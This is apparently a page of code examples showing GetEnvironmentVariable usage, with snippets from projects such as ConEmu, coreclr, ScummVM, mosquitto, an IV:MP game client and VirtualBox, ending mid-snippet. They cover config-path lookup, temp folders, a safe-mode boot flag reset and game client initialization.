示例#1
0
void Restore_safemode()
{
	OSVERSIONINFO OSversion;	
	OSversion.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
	GetVersionEx(&OSversion);
	if(OSversion.dwMajorVersion<6)
		{
			char drivepath[150];
			char systemdrive[150];
			char stringvalue[512];
			GetEnvironmentVariable("SYSTEMDRIVE", systemdrive, 150);
			strcat (systemdrive,"/boot.ini");
			GetPrivateProfileString("boot loader","default","",drivepath,150,systemdrive);
			if (strlen(drivepath)==0) return;
			GetPrivateProfileString("operating systems",drivepath,"",stringvalue,512,systemdrive);
			if (strlen(stringvalue)==0) return;
			char* p = strrchr(stringvalue, '/');
			if (p == NULL) return;
				*p = '\0';
			WritePrivateProfileString("operating systems",drivepath,stringvalue,systemdrive);		
			SetFileAttributes(systemdrive,FILE_ATTRIBUTE_READONLY);
		}
	else
		{
#ifdef _X64
			char systemroot[150];
			GetEnvironmentVariable("SystemRoot", systemroot, 150);
			char exe_file_name[MAX_PATH];
			char parameters[MAX_PATH];
			strcpy(exe_file_name,systemroot);
			strcat(exe_file_name,"\\system32\\");
			strcat(exe_file_name,"bcdedit.exe");
			strcpy(parameters,"/deletevalue safeboot");
			SHELLEXECUTEINFO shExecInfo;
			shExecInfo.cbSize = sizeof(SHELLEXECUTEINFO);
			shExecInfo.fMask = 0;
			shExecInfo.hwnd = GetForegroundWindow();
			shExecInfo.lpVerb = "runas";
			shExecInfo.lpFile = exe_file_name;
			shExecInfo.lpParameters = parameters;
			shExecInfo.lpDirectory = NULL;
			shExecInfo.nShow = SW_HIDE;
			shExecInfo.hInstApp = NULL;
			ShellExecuteEx(&shExecInfo);
#else
			typedef BOOL (WINAPI *LPFN_Wow64DisableWow64FsRedirection)(PVOID* OldValue);
			typedef BOOL (WINAPI *LPFN_Wow64RevertWow64FsRedirection)(PVOID OldValue);
			PVOID OldValue;  
			LPFN_Wow64DisableWow64FsRedirection pfnWow64DisableWowFsRedirection = (LPFN_Wow64DisableWow64FsRedirection)GetProcAddress(GetModuleHandle("kernel32"),"Wow64DisableWow64FsRedirection");
			LPFN_Wow64RevertWow64FsRedirection pfnWow64RevertWow64FsRedirection = (LPFN_Wow64RevertWow64FsRedirection)GetProcAddress(GetModuleHandle("kernel32"),"Wow64RevertWow64FsRedirection");
			if (pfnWow64DisableWowFsRedirection && pfnWow64RevertWow64FsRedirection)  ///win32 on x64 system
			{
				if(TRUE == pfnWow64DisableWowFsRedirection(&OldValue))
					{
						char systemroot[150];
						GetEnvironmentVariable("SystemRoot", systemroot, 150);
						char exe_file_name[MAX_PATH];
						char parameters[MAX_PATH];
						strcpy(exe_file_name,systemroot);
						strcat(exe_file_name,"\\system32\\");
						strcat(exe_file_name,"bcdedit.exe");
						strcpy(parameters,"/deletevalue safeboot");
						SHELLEXECUTEINFO shExecInfo;
						shExecInfo.cbSize = sizeof(SHELLEXECUTEINFO);
						shExecInfo.fMask = 0;
						shExecInfo.hwnd = GetForegroundWindow();
						shExecInfo.lpVerb = "runas";
						shExecInfo.lpFile = exe_file_name;
						shExecInfo.lpParameters = parameters;
						shExecInfo.lpDirectory = NULL;
						shExecInfo.nShow = SW_HIDE;
						shExecInfo.hInstApp = NULL;
						ShellExecuteEx(&shExecInfo);
						pfnWow64RevertWow64FsRedirection(OldValue);
					}
				else
				{
					char systemroot[150];
					GetEnvironmentVariable("SystemRoot", systemroot, 150);
					char exe_file_name[MAX_PATH];
					char parameters[MAX_PATH];
					strcpy(exe_file_name,systemroot);
					strcat(exe_file_name,"\\system32\\");
					strcat(exe_file_name,"bcdedit.exe");
					strcpy(parameters,"/deletevalue safeboot");
					SHELLEXECUTEINFO shExecInfo;
					shExecInfo.cbSize = sizeof(SHELLEXECUTEINFO);
					shExecInfo.fMask = 0;
					shExecInfo.hwnd = GetForegroundWindow();
					shExecInfo.lpVerb = "runas";
					shExecInfo.lpFile = exe_file_name;
					shExecInfo.lpParameters = parameters;
					shExecInfo.lpDirectory = NULL;
					shExecInfo.nShow = SW_HIDE;
					shExecInfo.hInstApp = NULL;
					ShellExecuteEx(&shExecInfo);
				}
			}
			else  //win32 on W32
			{
				char systemroot[150];
				GetEnvironmentVariable("SystemRoot", systemroot, 150);
				char exe_file_name[MAX_PATH];
				char parameters[MAX_PATH];
				strcpy(exe_file_name,systemroot);
				strcat(exe_file_name,"\\system32\\");
				strcat(exe_file_name,"bcdedit.exe");
				strcpy(parameters,"/deletevalue safeboot");
				SHELLEXECUTEINFO shExecInfo;
				shExecInfo.cbSize = sizeof(SHELLEXECUTEINFO);
				shExecInfo.fMask = 0;
				shExecInfo.hwnd = GetForegroundWindow();
				shExecInfo.lpVerb = "runas";
				shExecInfo.lpFile = exe_file_name;
				shExecInfo.lpParameters = parameters;
				shExecInfo.lpDirectory = NULL;
				shExecInfo.nShow = SW_HIDE;
				shExecInfo.hInstApp = NULL;
				ShellExecuteEx(&shExecInfo);
			}
#endif
		}
}
示例#2
0
static char *searchSoundPath(CSTRING file, RexxCallContext *c)
{
    oodResetSysErrCode(c->threadContext);

    // We need a buffer for the path to search, a buffer for the returned full
    // file name, (if found,) and a pointer to char (an unused arg to
    // SearchPath().)
    char *fullFileName = NULL;
    char *pFileName;

    // Calculate how much room we need for the search path buffer.
    uint32_t cchCWD = GetCurrentDirectory(0, NULL);

    // Many modern systems no longer have the SOUNDPATH set.
    SetLastError(0);
    uint32_t cchSoundPath = GetEnvironmentVariable("SOUNDPATH", NULL, 0);
    uint32_t rc = GetLastError();
    if ( cchSoundPath == 0 && rc != ERROR_ENVVAR_NOT_FOUND )
    {
        oodSetSysErrCode(c->threadContext, rc);
        return NULL;
    }

    // Allocate our needed buffers.
    AutoFree buf = (char *)malloc(cchCWD + cchSoundPath + 3);
    fullFileName = (char *)malloc(_MAX_PATH);
    if (buf == NULL || fullFileName == NULL)
    {
        safeFree(fullFileName);
        outOfMemoryException(c->threadContext);
    }

    // Now get the current directory and the sound path.
    cchCWD = GetCurrentDirectory(cchCWD + 1, buf);
    if (cchCWD == 0)
    {
        safeFree(fullFileName);
        oodSetSysErrCode(c->threadContext);
        return NULL;
    }

    if (cchSoundPath != 0)
    {
        buf[cchCWD++] = ';';
        cchSoundPath = GetEnvironmentVariable("SOUNDPATH", buf + cchCWD, cchSoundPath + 1);
        if (cchSoundPath == 0)
        {
            safeFree(fullFileName);
            oodSetSysErrCode(c->threadContext);
            return NULL;
        }
    }

    AutoErrorMode errorMode(SEM_FAILCRITICALERRORS);
    cchSoundPath = SearchPath(buf, file, NULL, _MAX_PATH, fullFileName, &pFileName);

    if (cchSoundPath == 0 || cchSoundPath >= _MAX_PATH)
    {
        safeFree(fullFileName);
        oodSetSysErrCode(c->threadContext);
        return NULL;
    }

    return fullFileName;
}
示例#3
0
文件: test3.c 项目: 0-wiz-0/coreclr
int __cdecl main(int argc, char *argv[]) 
{

#if WIN32

    return PASS;

#else

    /* Define some buffers needed for the function */
    char * pResultBuffer = NULL;

    char FirstEnvironmentVariable[] = {"PALTEST"};
    char FirstEnvironmentValue[] = {"FIRST"};

    char SecondEnvironmentVariable[] = {"paltest"};
    char SecondEnvironmentValue[] = {"SECOND"};

    DWORD size = 0;
    BOOL bRc = TRUE;

    /*
     * Initialize the PAL and return FAILURE if this fails
     */

    if(0 != (PAL_Initialize(argc, argv)))
    {
        return FAIL;
    }
  
    /* Set the first environment variable */
    bRc = SetEnvironmentVariableA(FirstEnvironmentVariable,
                            FirstEnvironmentValue);

    if(!bRc)
    {
        Fail("ERROR: SetEnvironmentVariable failed to set a "
            "proper environment variable with error %u.\n",
            GetLastError());
    }

     /* Set the second environment Variable */
    bRc = SetEnvironmentVariableA(SecondEnvironmentVariable,
                            SecondEnvironmentValue);

    if(!bRc)
    {
        Fail("ERROR: SetEnvironmentVariable failed to set a "
            "proper environment variable with error %u.\n",
            GetLastError());
    }


   /* Normal case, PATH should fit into this buffer */
    size = GetEnvironmentVariableA(FirstEnvironmentVariable,        
                                  pResultBuffer,    
                                  0);       

    /* increase size to account for the null char at the end */
    size = size + 1;
    
    pResultBuffer = malloc(sizeof(char)*size);
    if ( pResultBuffer == NULL )
    {
        Fail("ERROR: Failed to allocate memory for pResultBuffer pointer.\n");
    }

    /* Try to retrieve the value of the first environment variable */
    GetEnvironmentVariable(FirstEnvironmentVariable,
                           pResultBuffer,
                           size);

    if ( pResultBuffer == NULL )
    {
        free(pResultBuffer);
        Fail("ERROR: GetEnvironmentVariable failed to return a value "
            "from a proper environment variable with error %u.\n",
            GetLastError());
    }

    /* Compare the strings to see that the correct variable was returned */
    if(strcmp(pResultBuffer,FirstEnvironmentValue) != 0)
    {
        Trace("ERROR: The value in the buffer should have been '%s' but "
             "was really '%s'.\n",FirstEnvironmentValue, pResultBuffer);
        free(pResultBuffer);
        Fail("");
    }

    free(pResultBuffer);

    /* Reallocate the memory for the string */
    pResultBuffer = malloc(sizeof(char)*size);
    if ( pResultBuffer == NULL )
    {
        Fail("ERROR: Failed to allocate memory for pResultBuffer pointer.\n");
    }

    /* Try retrieving the value of the first variable, even though the
    second variable has the same spelling and only differs in case */
    GetEnvironmentVariable(SecondEnvironmentVariable,
                           pResultBuffer,
                           size);

    if ( pResultBuffer == NULL )
    {
        Fail("ERROR: GetEnvironmentVariable failed to return a value "
            "from a proper environment variable with error %u.\n",
            GetLastError());
    }

    /* Compare the two strings to confirm that the right value is returned */
    if(strcmp(pResultBuffer,SecondEnvironmentValue) != 0) 
    {
        Trace("ERROR: The value in the buffer should have been '%s' but "
             "was really '%s'.\n",SecondEnvironmentValue,pResultBuffer);
        free(pResultBuffer);    
        Fail("");
    }
  
    free(pResultBuffer);
    
    PAL_Terminate();
    return PASS;

#endif
}
示例#4
0
文件: win32.cpp 项目: 86400/scummvm
Common::String OSystem_Win32::getDefaultConfigFileName() {
	char configFile[MAXPATHLEN];

	OSVERSIONINFO win32OsVersion;
	ZeroMemory(&win32OsVersion, sizeof(OSVERSIONINFO));
	win32OsVersion.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
	GetVersionEx(&win32OsVersion);
	// Check for non-9X version of Windows.
	if (win32OsVersion.dwPlatformId != VER_PLATFORM_WIN32_WINDOWS) {
		// Use the Application Data directory of the user profile.
		if (win32OsVersion.dwMajorVersion >= 5) {
			if (!GetEnvironmentVariable("APPDATA", configFile, sizeof(configFile)))
				error("Unable to access application data directory");
		} else {
			if (!GetEnvironmentVariable("USERPROFILE", configFile, sizeof(configFile)))
				error("Unable to access user profile directory");

			strcat(configFile, "\\Application Data");

			// If the directory already exists (as it should in most cases),
			// we don't want to fail, but we need to stop on other errors (such as ERROR_PATH_NOT_FOUND)
			if (!CreateDirectory(configFile, NULL)) {
				if (GetLastError() != ERROR_ALREADY_EXISTS)
					error("Cannot create Application data folder");
			}
		}

		strcat(configFile, "\\ScummVM");
		if (!CreateDirectory(configFile, NULL)) {
			if (GetLastError() != ERROR_ALREADY_EXISTS)
				error("Cannot create ScummVM application data folder");
		}

		strcat(configFile, "\\" DEFAULT_CONFIG_FILE);

		FILE *tmp = NULL;
		if ((tmp = fopen(configFile, "r")) == NULL) {
			// Check windows directory
			char oldConfigFile[MAXPATHLEN];
			uint ret = GetWindowsDirectory(oldConfigFile, MAXPATHLEN);
			if (ret == 0 || ret > MAXPATHLEN)
				error("Cannot retrieve the path of the Windows directory");

			strcat(oldConfigFile, "\\" DEFAULT_CONFIG_FILE);
			if ((tmp = fopen(oldConfigFile, "r"))) {
				strcpy(configFile, oldConfigFile);

				fclose(tmp);
			}
		} else {
			fclose(tmp);
		}
	} else {
		// Check windows directory
		uint ret = GetWindowsDirectory(configFile, MAXPATHLEN);
		if (ret == 0 || ret > MAXPATHLEN)
			error("Cannot retrieve the path of the Windows directory");

		strcat(configFile, "\\" DEFAULT_CONFIG_FILE);
	}

	return configFile;
}
示例#5
0
int client_config_load(struct mosq_config *cfg, int pub_or_sub, int argc, char *argv[])
{
    int rc;
    FILE *fptr;
    char line[1024];
    int count;
    char *loc = NULL;
    int len;
    char *args[3];

#ifndef WIN32
    char *env;
#else
    char env[1024];
#endif
    args[0] = NULL;

    init_config(cfg);

    /* Default config file */
#ifndef WIN32
    env = getenv("XDG_CONFIG_HOME");
    if(env) {
        len = strlen(env) + strlen("/mosquitto_pub") + 1;
        loc = malloc(len);
        if(pub_or_sub == CLIENT_PUB) {
            snprintf(loc, len, "%s/mosquitto_pub", env);
        } else {
            snprintf(loc, len, "%s/mosquitto_sub", env);
        }
        loc[len-1] = '\0';
    } else {
        env = getenv("HOME");
        if(env) {
            len = strlen(env) + strlen("/.config/mosquitto_pub") + 1;
            loc = malloc(len);
            if(pub_or_sub == CLIENT_PUB) {
                snprintf(loc, len, "%s/.config/mosquitto_pub", env);
            } else {
                snprintf(loc, len, "%s/.config/mosquitto_sub", env);
            }
            loc[len-1] = '\0';
        } else {
            fprintf(stderr, "Warning: Unable to locate configuration directory, default config not loaded.\n");
        }
    }

#else
    rc = GetEnvironmentVariable("USERPROFILE", env, 1024);
    if(rc > 0 && rc < 1024) {
        len = strlen(env) + strlen("\\mosquitto_pub.conf") + 1;
        loc = malloc(len);
        if(pub_or_sub == CLIENT_PUB) {
            snprintf(loc, len, "%s\\mosquitto_pub.conf", env);
        } else {
            snprintf(loc, len, "%s\\mosquitto_sub.conf", env);
        }
        loc[len-1] = '\0';
    } else {
        fprintf(stderr, "Warning: Unable to locate configuration directory, default config not loaded.\n");
    }
#endif

    if(loc) {
        fptr = fopen(loc, "rt");
        if(fptr) {
            while(fgets(line, 1024, fptr)) {
                if(line[0] == '#') continue; /* Comments */

                while(line[strlen(line)-1] == 10 || line[strlen(line)-1] == 13) {
                    line[strlen(line)-1] = 0;
                }
                /* All offset by one "args" here, because real argc/argv has
                 * program name as the first entry. */
                args[1] = strtok(line, " ");
                if(args[1]) {
                    args[2] = strtok(NULL, " ");
                    if(args[2]) {
                        count = 3;
                    } else {
                        count = 2;
                    }
                    rc = client_config_line_proc(cfg, pub_or_sub, count, args);
                    if(rc) {
                        fclose(fptr);
                        free(loc);
                        return rc;
                    }
                }
            }
            fclose(fptr);
        }
        free(loc);
    }

    /* Deal with real argc/argv */
    rc = client_config_line_proc(cfg, pub_or_sub, argc, argv);
    if(rc) return rc;

    if(cfg->will_payload && !cfg->will_topic) {
        fprintf(stderr, "Error: Will payload given, but no will topic given.\n");
        return 1;
    }
    if(cfg->will_retain && !cfg->will_topic) {
        fprintf(stderr, "Error: Will retain given, but no will topic given.\n");
        return 1;
    }
    if(cfg->password && !cfg->username) {
        if(!cfg->quiet) fprintf(stderr, "Warning: Not using password since username not set.\n");
    }
#ifdef WITH_TLS
    if((cfg->certfile && !cfg->keyfile) || (cfg->keyfile && !cfg->certfile)) {
        fprintf(stderr, "Error: Both certfile and keyfile must be provided if one of them is.\n");
        return 1;
    }
#endif
#ifdef WITH_TLS_PSK
    if((cfg->cafile || cfg->capath) && cfg->psk) {
        if(!cfg->quiet) fprintf(stderr, "Error: Only one of --psk or --cafile/--capath may be used at once.\n");
        return 1;
    }
    if(cfg->psk && !cfg->psk_identity) {
        if(!cfg->quiet) fprintf(stderr, "Error: --psk-identity required if --psk used.\n");
        return 1;
    }
#endif

    if(pub_or_sub == CLIENT_SUB) {
        if(cfg->clean_session == false && (cfg->id_prefix || !cfg->id)) {
            if(!cfg->quiet) fprintf(stderr, "Error: You must provide a client id if you are using the -c option.\n");
            return 1;
        }
        if(cfg->topic_count == 0) {
            if(!cfg->quiet) fprintf(stderr, "Error: You must specify a topic to subscribe to.\n");
            return 1;
        }
    }

    if(!cfg->host) {
        cfg->host = "localhost";
    }
    return MOSQ_ERR_SUCCESS;
}
示例#6
0
std::string *envvar(char *name)
{
    char value[MAX_PATH];
    GetEnvironmentVariable(name, value, MAX_PATH);
    return new std::string(value);
}
示例#7
0
	bool Acquire()
	{
		if (gsTempFolder[0])
		{
			if (IsDotsName(gsTempFolder))
				return true;

			if (DirectoryExists(gsTempFolder))
				return true;

			if (CreateDirectory(gsTempFolder, NULL))
			{
				SetCurrentDirectory(gsTempFolder);
				mb_RemoveDir = true; // would be reset on success
				return true;
			}

			ReportError(exit_CreateDirectory, msgTempFolderFailed, gsTempFolder);
			if (gbExtractOnly || !gbAutoMode)
				return false;
		}
		else
		{
			// + "ConEmu160707" (CONEMUVERL) or "ConEmu160707_123456" (CONEMUVERL, hhmmss)
			DWORD cchMax = countof(gsTempFolder) - 20;
			//DWORD n = GetTempPath(cchMax, gsTempFolder);
			DWORD n = GetEnvironmentVariable(L"TEMP", gsTempFolder, cchMax);
			if (!n)
				n = GetTempPath(cchMax, gsTempFolder);

			if (n && (n < cchMax))
			{
				wchar_t* pszSubDir = gsTempFolder+lstrlen(gsTempFolder);
				lstrcpy(pszSubDir, L"ConEmu");
				pszSubDir += 6;
				lstrcpy(pszSubDir, CONEMUVERL);
				pszSubDir += lstrlen(pszSubDir);
				if (CreateDirectory(gsTempFolder, NULL))
				{
					SetCurrentDirectory(gsTempFolder);
					mb_RemoveDir = true;
					return true;
				}

				SYSTEMTIME st = {}; GetLocalTime(&st);
				wsprintf(pszSubDir, L"_%02i%02i%02i", st.wHour, st.wMinute, st.wSecond);
				if (CreateDirectory(gsTempFolder, NULL))
				{
					SetCurrentDirectory(gsTempFolder);
                    mb_RemoveDir = true;
					return true;
				}
			}
		}

		ReportError(exit_CreateDirectory, msgTempFolderFailed, gsTempFolder);
		if (!gbAutoMode)
			return false;

		// Failed to get/create TEMP path?
		// Use our executable folder instead, set temp folder to L"."
		gsTempFolder[0] = L'.'; gsTempFolder[1] = 0;
		// And just change our current directory (it may be any folder ATM, e.g. system32)
		if (ms_SelfPath[0])
		{
			if (SetCurrentDirectory(ms_SelfPath))
			{
				DWORD n = GetCurrentDirectory(countof(gsTempFolder), gsTempFolder);
				if (!n || (n > countof(gsTempFolder)))
				{
					// Fail again?
					gsTempFolder[0] = L'.'; gsTempFolder[1] = 0;
				}
			}
		}
		// if the path is invalid - just do not change cd,
		// use current, set by user when they run our exe
		return true;
	};
示例#8
0
文件: hkKernel.cpp 项目: AITW/ConEmu
// Helper function
bool GetTime(bool bSystem, LPSYSTEMTIME lpSystemTime)
{
	bool bHacked = false;
	wchar_t szEnvVar[32] = L""; // 2013-01-01T15:16:17.95

	DWORD nCurTick = GetTickCount();
	DWORD nCheckDelta = nCurTick - gnTimeEnvVarLastCheck;
	const DWORD nCheckDeltaMax = 1000;
	if (!gnTimeEnvVarLastCheck || (nCheckDelta >= nCheckDeltaMax))
	{
		gnTimeEnvVarLastCheck = nCurTick;
		GetEnvironmentVariable(ENV_CONEMUFAKEDT_VAR_W, szEnvVar, countof(szEnvVar));
		lstrcpyn(gszTimeEnvVarSave, szEnvVar, countof(gszTimeEnvVarSave));
	}
	else if (*gszTimeEnvVarSave)
	{
		lstrcpyn(szEnvVar, gszTimeEnvVarSave, countof(szEnvVar));
	}
	else
	{
		goto wrap;
	}

	if (*szEnvVar)
	{
		SYSTEMTIME st = {0}; FILETIME ft; wchar_t* p = szEnvVar;

		if (!(st.wYear = LOWORD(wcstol(p, &p, 10))) || !p || (*p != L'-' && *p != L'.'))
			goto wrap;
		if (!(st.wMonth = LOWORD(wcstol(p+1, &p, 10))) || !p || (*p != L'-' && *p != L'.'))
			goto wrap;
		if (!(st.wDay = LOWORD(wcstol(p+1, &p, 10))) || !p || (*p != L'T' && *p != L' ' && *p != 0))
			goto wrap;
		// Possible format 'dd.mm.yyyy'? This is returned by "cmd /k echo %DATE%"
		if (st.wDay >= 1900 && st.wYear <= 31)
		{
			WORD w = st.wDay; st.wDay = st.wYear; st.wYear = w;
		}

		// Time. Optional?
		if (!p || !*p)
		{
			SYSTEMTIME lt; GetLocalTime(&lt);
			st.wHour = lt.wHour;
			st.wMinute = lt.wMinute;
			st.wSecond = lt.wSecond;
			st.wMilliseconds = lt.wMilliseconds;
		}
		else
		{
			if (((st.wHour = LOWORD(wcstol(p+1, &p, 10)))>=24) || !p || (*p != L':' && *p != L'.'))
				goto wrap;
			if (((st.wMinute = LOWORD(wcstol(p+1, &p, 10)))>=60))
				goto wrap;

			// Seconds and MS are optional
			if ((p && (*p == L':' || *p == L'.')) && ((st.wSecond = LOWORD(wcstol(p+1, &p, 10))) >= 60))
				goto wrap;
			// cmd`s %TIME% shows Milliseconds as two digits
			if ((p && (*p == L':' || *p == L'.')) && ((st.wMilliseconds = (10*LOWORD(wcstol(p+1, &p, 10)))) >= 1000))
				goto wrap;
		}

		// Check it
		if (!SystemTimeToFileTime(&st, &ft))
			goto wrap;
		if (bSystem)
		{
			if (!LocalToSystemTime(&ft, lpSystemTime))
				goto wrap;
		}
		else
		{
			*lpSystemTime = st;
		}
		bHacked = true;
	}
wrap:
	return bHacked;
}
示例#9
0
BOOL APIENTRY DllMain(HMODULE hModule, DWORD fdwReason, LPVOID lpReserved)
{
	switch(fdwReason)
	{
	case DLL_PROCESS_ATTACH:
		{
			// Disable thread library notifications
			DisableThreadLibraryCalls(hModule);

			// Install the exception handler
			CExceptionHandler::Install();

			// Delete chatlog
			CLogFile::Open("Chatlog.log");
			CLogFile::Printf("New chatlog created!");
			CLogFile::Close();

			// Open the log file
			CLogFile::Open("Client.log");

			// Log the version
			CLogFile::Printf(VERSION_IDENTIFIER "| " __DATE__ " - " __TIME__ "");

			// Open the settings file
			CSettings::Open(SharedUtility::GetAbsolutePath("clientsettings.xml"));

			// Parse the command line
			CSettings::ParseCommandLine(GetCommandLine());

			// Load the global vars from the settings
			g_strHost = CVAR_GET_STRING("ip");
			g_usPort = CVAR_GET_INTEGER("port");
			g_strNick = CVAR_GET_STRING("nick");
			g_strPassword = CVAR_GET_STRING("pass");
			g_bWindowedMode = CVAR_GET_BOOL("windowed");
			g_bFPSToggle = CVAR_GET_BOOL("fps");

			// IE9 fix - disabled if disableie9fix is set or shift is pressed
			if(!CVAR_GET_BOOL("disableie9fix") || GetAsyncKeyState(VK_SHIFT) > 0)
			{
				// Get the version info
				DWORD dwHandle;
				DWORD dwSize = GetFileVersionInfoSize("wininet.dll", &dwHandle);
				BYTE* byteFileInfo = new BYTE[dwSize];
				GetFileVersionInfo("wininet.dll", dwHandle, dwSize, byteFileInfo);

				unsigned int uiLen;
				VS_FIXEDFILEINFO* fileInfo;
				VerQueryValue(byteFileInfo, "\\", (LPVOID *)&fileInfo, &uiLen);
				delete byteFileInfo;

				// using IE9?
				if(fileInfo->dwFileVersionMS == 0x90000)
				{
					// Try and load a wininet.dll from the iv:mp directory
					if(!LoadLibrary(SharedUtility::GetAbsolutePath("wininet.dll")))
					{
						// Get path to it
						char szFindPath[MAX_PATH] = {0};
						char szWinSxsPath[MAX_PATH] = {0};
						char szBuildVersion[] = "00000";
						GetEnvironmentVariable("windir", szWinSxsPath, sizeof(szWinSxsPath));
						strcat_s(szWinSxsPath, sizeof(szWinSxsPath), "\\WinSxS\\");
						strcpy_s(szFindPath, sizeof(szFindPath), szWinSxsPath);
						strcat_s(szFindPath, sizeof(szFindPath), "x86_microsoft-windows-i..tocolimplementation_31bf3856ad364e35*");

						// try to find a usable wininet.dll in WinSXS (basically any non-9.x version)
						bool bLoaded = false;
						WIN32_FIND_DATA lpFindFileData;
						HANDLE hFindFile = FindFirstFile(szFindPath, &lpFindFileData);
						do
						{
							if(hFindFile == INVALID_HANDLE_VALUE)
								break;

							if(strlen(lpFindFileData.cFileName) > 63)
							{
								if(lpFindFileData.cFileName[62] < '9')
								{
									char szFullPath[MAX_PATH];
									sprintf_s(szFullPath, MAX_PATH, "%s%s\\wininet.dll", szWinSxsPath, lpFindFileData.cFileName);
									if(LoadLibrary(szFullPath))
									{
										CLogFile::Printf("Using %s to address IE9 issue", szFullPath);
										bLoaded = true;
										break;
									}
								}
							}
						}
						while(FindNextFile(hFindFile, &lpFindFileData));

						// Still failed, tell the user
						if(!bLoaded)
						{
							if(MessageBox(0, "Unfortunately, you have Internet Explorer 9 installed which is not compatible with GTA:IV. Do you want proceed anyway (and possibly crash?)", "IV:MP", MB_YESNO | MB_ICONERROR) == IDNO)
							{
								// Doesn't want to continue
								ExitProcess(0);
							}

							// Save the user's choice
							CVAR_SET_BOOL("disableie9fix", true);
						}
					}
				}
			}

			// Initialize the streamer
			g_pStreamer = new CStreamer();

			// Initialize the time
			g_pTime = new CTime();

			// Initialize the traffic lights
			g_pTrafficLights = new CTrafficLights();

			// Initialize the client task manager
			g_pClientTaskManager = new CClientTaskManager();

			// Initialize the game
			CGame::Initialize();

			// Install the XLive hook
			CXLiveHook::Install();

			// Install the Direct3D hook
			CDirect3DHook::Install();

			// Install the DirectInput hook
			CDirectInputHook::Install();

			// Install the Cursor hook
#ifdef IVMP_DEBUG
			CCursorHook::Install();
			g_pDebugView = new CDebugView();
#endif
			// Initialize the client script manager
			g_pClientScriptManager = new CClientScriptManager();

			// Initialize the events manager
			g_pEvents = new CEvents();

			// Initialize the network module, if it fails, exit
			if(!CNetworkModule::Init())
			{
				CLogFile::Printf("Failed to initialize the network module!\n");
				ExitProcess(0);
			}

			// Initialize the file transfer
			g_pFileTransfer = new CFileTransfer();

			// Initialize audio manager
			CAudioManager::Init();
		}
		break;
	case DLL_PROCESS_DETACH:
		{

			// Delete our file transfer
			SAFE_DELETE(g_pFileTransfer);

			// Delete our camera
			SAFE_DELETE(g_pCamera);

			// Delete our model manager
			SAFE_DELETE(g_pModelManager);

			// Delete our pickup manager
			SAFE_DELETE(g_pPickupManager);

			// Delete our checkpoint manager
			SAFE_DELETE(g_pCheckpointManager);

			// Delete our object manager
			SAFE_DELETE(g_pObjectManager);

			// Delete our blip manager
			SAFE_DELETE(g_pBlipManager);

			// Delete our actor manager
			SAFE_DELETE(g_pActorManager);

			// Delete our vehicle manager
			SAFE_DELETE(g_pVehicleManager);

			// Delete our local player
			SAFE_DELETE(g_pLocalPlayer);

			// Delete our player manager
			SAFE_DELETE(g_pPlayerManager);

			// Delete our network manager
			SAFE_DELETE(g_pNetworkManager);

			// Delete our name tags
			SAFE_DELETE(g_pNameTags);

			// Delete our input window
			SAFE_DELETE(g_pInputWindow);

			// Delete our chat window
			SAFE_DELETE(g_pChatWindow);

			// Delete our fps counter
			SAFE_DELETE(g_pFPSCounter);

#ifdef IVMP_DEBUG
			// Delete out debug viewer
			SAFE_DELETE(g_pDebugView);
#endif
			// Delete our credits
			SAFE_DELETE(g_pCredits);

			// Delete our main menu
			SAFE_DELETE(g_pMainMenu);

			// Delete our gui
			SAFE_DELETE(g_pGUI);

			// Delete our streamer class
			SAFE_DELETE(g_pStreamer);

			// Delete our time class
			SAFE_DELETE(g_pTime);

			// Delete our traffic lights
			SAFE_DELETE(g_pTrafficLights);

			// Delete our client script manager
			SAFE_DELETE(g_pClientScriptManager);

			// Delete our client task manager
			SAFE_DELETE(g_pClientTaskManager);

			// Delete our events manager
			SAFE_DELETE(g_pEvents);

			// Uninstall the Cursor hook
#ifdef IVMP_DEBUG
			CCursorHook::Uninstall();
#endif

			// Uninstall the DirectInput hook
			CDirectInputHook::Uninstall();

			// Uninstall the Direct3D hook
			CDirect3DHook::Uninstall();

			// Shutdown audio manager
			CAudioManager::SetAllVolume(0.0f);
			CAudioManager::RemoveAll();

			// Shutdown our game
			CGame::Shutdown();

			// Close the settings file
			CSettings::Close();

			// Close the log file
			CLogFile::Close();

			// Uninstall the XLive hook
			//CXLiveHook::Uninstall(); // Not needed
		}
		break;
	}

	return TRUE;
}
示例#10
0
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE /*hPrevInstance*/, LPSTR /*lpCmdLine*/, int /*nShowCmd*/)
{
    LPCTSTR lpCmdLine = GetCommandLine(); /* this line necessary for _ATL_MIN_CRT */

    /*
     * Need to parse the command line before initializing the VBox runtime.
     */
    TCHAR szTokens[] = _T("-/");
    LPCTSTR lpszToken = FindOneOf(lpCmdLine, szTokens);
    while (lpszToken != NULL)
    {
        if (WordCmpI(lpszToken, _T("Embedding")) == 0)
        {
            /* %HOMEDRIVE%%HOMEPATH% */
            wchar_t wszHome[RTPATH_MAX];
            DWORD cEnv = GetEnvironmentVariable(L"HOMEDRIVE", &wszHome[0], RTPATH_MAX);
            if (cEnv && cEnv < RTPATH_MAX)
            {
                DWORD cwc = cEnv; /* doesn't include NUL */
                cEnv = GetEnvironmentVariable(L"HOMEPATH", &wszHome[cEnv], RTPATH_MAX - cwc);
                if (cEnv && cEnv < RTPATH_MAX - cwc)
                {
                    /* If this fails there is nothing we can do. Ignore. */
                    SetCurrentDirectory(wszHome);
                }
            }
        }

        lpszToken = FindOneOf(lpszToken, szTokens);
    }

    /*
     * Initialize the VBox runtime without loading
     * the support driver.
     */
    int    argc = __argc;
    char **argv = __argv;
    RTR3InitExe(argc, &argv, 0);

    /* Note that all options are given lowercase/camel case/uppercase to
     * approximate case insensitive matching, which RTGetOpt doesn't offer. */
    static const RTGETOPTDEF s_aOptions[] =
    {
        { "--embedding",    'e',    RTGETOPT_REQ_NOTHING | RTGETOPT_FLAG_ICASE },
        { "-embedding",     'e',    RTGETOPT_REQ_NOTHING | RTGETOPT_FLAG_ICASE },
        { "/embedding",     'e',    RTGETOPT_REQ_NOTHING | RTGETOPT_FLAG_ICASE },
        { "--unregserver",  'u',    RTGETOPT_REQ_NOTHING | RTGETOPT_FLAG_ICASE },
        { "-unregserver",   'u',    RTGETOPT_REQ_NOTHING | RTGETOPT_FLAG_ICASE },
        { "/unregserver",   'u',    RTGETOPT_REQ_NOTHING | RTGETOPT_FLAG_ICASE },
        { "--regserver",    'r',    RTGETOPT_REQ_NOTHING | RTGETOPT_FLAG_ICASE },
        { "-regserver",     'r',    RTGETOPT_REQ_NOTHING | RTGETOPT_FLAG_ICASE },
